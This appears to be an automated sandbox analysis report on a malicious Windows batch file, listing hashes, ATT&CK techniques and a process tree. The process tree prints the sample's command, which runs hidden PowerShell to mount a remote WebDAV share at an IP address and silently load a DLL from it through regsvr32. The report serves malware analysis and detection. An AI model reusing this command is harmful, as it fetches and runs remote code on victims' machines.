30d0c0103cb18f0d140515573dadb053fed4eb13878f1ca38793b0d62e6d4be7

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
22-07-2024 11:06

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General

Target

258743084730614141.bat
Size

20KB
MD5

6fa1db5c55a2d67812e6453489257ff7
SHA1

631c7516d5fc8e106dca3d8b3caf92217c5cf815
SHA256

30d0c0103cb18f0d140515573dadb053fed4eb13878f1ca38793b0d62e6d4be7
SHA512

5443b14c9417bcbd9e9af268a638cd7a053b2a840a8f4a747f7e96711d627a4dbf2f79819c77e6915453e4efe4d650f94eecf26255f0d952e7fc4c36abdfcd4f
SSDEEP

384:gbWkd6XlAS1Aa7y7o8XNrGRDCKWyVraW4aFRdIud8D5p6:q6h1Aa7pQNlMc58fJd8D5p6

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2056	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2056	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2056	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2356	wordpad.exe
2356	wordpad.exe
2356	wordpad.exe
2356	wordpad.exe
2356	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2496 wrote to memory of 2356	2496	cmd.exe	31
PID 2496 wrote to memory of 2356	2496	cmd.exe	31
PID 2496 wrote to memory of 2356	2496	cmd.exe	31
PID 2496 wrote to memory of 2056	2496	cmd.exe	32
PID 2496 wrote to memory of 2056	2496	cmd.exe	32
PID 2496 wrote to memory of 2056	2496	cmd.exe	32
PID 2056 wrote to memory of 2816	2056	powershell.exe	34
PID 2056 wrote to memory of 2816	2056	powershell.exe	34
PID 2056 wrote to memory of 2816	2056	powershell.exe	34
PID 2056 wrote to memory of 2812	2056	powershell.exe	35
PID 2056 wrote to memory of 2812	2056	powershell.exe	35
PID 2056 wrote to memory of 2812	2056	powershell.exe	35
PID 2056 wrote to memory of 2812	2056	powershell.exe	35
PID 2056 wrote to memory of 2812	2056	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\258743084730614141.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\101851733111778.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2816
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\101851733111778.dll
    3⤵
    PID:2812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2056-23-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2056-24-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download
memory/2496-17-0x0000000002230000-0x0000000002330000-memory.dmp

Filesize
1024KB

Download